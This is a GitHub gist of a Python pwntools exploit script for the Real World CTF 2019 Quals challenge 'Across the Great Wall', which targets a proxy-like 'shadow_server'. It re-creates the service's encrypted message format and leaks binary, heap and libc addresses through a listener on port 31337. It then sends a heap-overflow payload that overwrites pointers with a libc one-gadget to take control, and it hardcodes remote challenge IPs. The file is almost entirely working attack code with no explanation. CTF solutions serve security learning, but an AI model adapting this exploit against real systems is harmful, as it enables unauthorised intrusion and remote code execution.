Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created September 16, 2019 17:35
Show Gist options
  • Save hama7230/08d5b683a9d06b36ad6e20fd9ee05f09 to your computer and use it in GitHub Desktop.
Save hama7230/08d5b683a9d06b36ad6e20fd9ee05f09 to your computer and use it in GitHub Desktop.
Real World CTF 2019 Quals Across the Great Wall
#!/usr/bin/env python
from pwn import *
from Crypto.Cipher import AES
import struct
import hashlib
import sys
from socket import inet_aton
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
# elf = ELF('./shadow_server')
context(os='linux', arch='amd64')
context(log_level='debug') # output verbose log
RHOST = "54.153.22.136"
RPORT = 3343
LHOST = "127.0.0.1"
LPORT = 3343
l = listen(31337)
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
gdbscript = """
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./shadow_server'], gdbscript=gdbscript)
else:
# conn = process(['./shadow_server'])
conn = process(['./shadow_server'], env={'LD_LIBRARY_PATH': './'})
if opt == 'a': gdb.attach(conn, gdbscript='b* execve\nc\nc\n')
# exploit
log.info('Pwning')
PASSWORD = 'meiyoumima'
class UnitAES:
def __init__(self, password, token):
key = hashlib.sha256(password + token).digest()
self.key = key[0:16]
self.iv = key[16:32]
self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
def encrypt(self, plain):
return self.cipher.encrypt(plain)
def decrypt(self, plain):
return self.cipher.decrypt(plain)
def create_header(password = None, timestamp = None, noise = None):
if password is None:
password = PASSWORD
if timestamp is None:
timestamp = int(time.time())
if noise is None:
noise = os.urandom(8)
token = hashlib.sha256(password + struct.pack('<q', timestamp) + noise).digest()[0:16]
key = hashlib.sha256(password + token).digest()
cipher = UnitAES(password, token)
return cipher, token + cipher.encrypt(struct.pack('<q', timestamp) + noise)
def create_header2(cipher, main_version = 1, length = 1, random_len = 1, padding = None, hash_sum = None):
if padding is None:
padding = os.urandom(10)
if hash_sum is None:
hash_sum = os.urandom(32)
return cipher.encrypt(struct.pack('<bib', main_version, length, random_len) + padding + hash_sum)
def create_msg(data):
timestamp = int(time.time())
noise = os.urandom(8)
token = hashlib.sha256(PASSWORD + struct.pack('<q', timestamp) + noise).digest()[0:16]
key = hashlib.sha256(PASSWORD + token).digest()
cipher = UnitAES(PASSWORD, token)
padding = os.urandom(10)
hash_sum = b'\x00' * 32
random_len = 0
main_version = 1
pad_len = 16 - len(data) % 16
length = 80 + len(data) + pad_len
data += chr(pad_len) * pad_len
hash_sum = hashlib.sha256(token + struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data).digest()
return token + cipher.encrypt(struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data)
def recv_msg(sock):
token = sock.recv(16)
cipher = UnitAES(PASSWORD, token)
data = cipher.decrypt(sock.recv(64))
length = struct.unpack('<i', data[17:21])[0]
random_length = struct.unpack('<b', data[21])[0]
ret = cipher.decrypt(sock.recv(length - 80 - random_length))
sock.recv(random_length)
return ret
def create_msg2(data, random = b'', random_len = 0):
timestamp = int(time.time())
noise = os.urandom(8)
token = hashlib.sha256(PASSWORD + struct.pack('<q', timestamp) + noise).digest()[0:16]
key = hashlib.sha256(PASSWORD + token).digest()
cipher = UnitAES(PASSWORD, token)
padding = os.urandom(10)
hash_sum = b'\x00' * 32
main_version = 1
pad_len = 16 - len(data) % 16
length = 80 + len(data) + pad_len + random_len
data += chr(pad_len) * pad_len
data = data[0:-1] + b'\x80'
hash_sum = hashlib.sha256(token + struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data + random).digest()
return token + cipher.encrypt(struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data) + random
server_ip = "54.183.93.132"
server_ip = "127.0.0.1"
server_port = 31337
conn.recvuntil('server bind at ')
port = int(conn.recvline())
dbg('port')
time.sleep(0.1)
if opt in 'ra':
cl4 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt])
else:
cl4 = remote(LHOST, port)
cipher, header = create_header()
header2 = create_header2(cipher, 1, 79, 0)
cl4.write(header+header2)
if opt in 'ra':
cl2 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt])
else:
cl2 = remote(LHOST, port)
cipher, header = create_header()
header2 = create_header2(cipher, 1, 79, 0)
cl2.write(header+header2)
cl2.close()
time.sleep(0.1)
if opt in 'ra':
cl2 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt])
else:
cl2 = remote(LHOST, port)
cipher, header = create_header()
header2 = create_header2(cipher, 1, 79, 0)
cl2.write(header+header2)
time.sleep(1)
if opt in 'ra':
cl = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt])
else:
cl = remote(LHOST, port)
cl.write(create_msg(b'\x01\x01\x01' + inet_aton(server_ip) + struct.pack('>h', server_port)))
recv_msg(cl)
for i in range(4):
cl.write(create_msg2('aaaa'))
time.sleep(0.1)
buf = ''
for i in range(4):
buf += l.recv(0x80)
time.sleep(0.1)
idx = buf.find('\x20')
print idx
print repr(buf[idx:idx+8])
bin_base = u64(buf[idx:idx+8]) - 0x7820
heap_base = u64(buf[idx-0x10:idx+8-0x10]) - 0x0
if opt in 'ra':
cl3 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt])
else:
cl3 = remote(LHOST, port)
cipher, header = create_header()
header2 = create_header2(cipher, 1, 79, 0)
cl3.write(header+header2)
cl3.close()
for i in range(4):
cl.write(create_msg2('aaaa'))
time.sleep(0.1)
buf = ''
for i in range(4):
buf += l.recv(0x80)
time.sleep(0.1)
idx = buf.find('\x70')
print idx
print repr(buf[idx:idx+8])
libc_base = u64(buf[idx:idx+8]) - 0x3ec470
heap_base -= 0x1a188 - 0x8000
dbg('libc_base')
dbg('bin_base')
dbg('heap_base')
time.sleep(0.1)
raw_input()
try:
payload = '\x00'*0x1290 + p64(heap_base + 0x136e0)*2 + p64(libc_base + 0x4f322)*2
payload += p64(heap_base + 0x12c0) + 'a'*0x10
cl4.write(payload)
time.sleep(0.1)
cl.close()
except:
print 'EOF'
pass
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment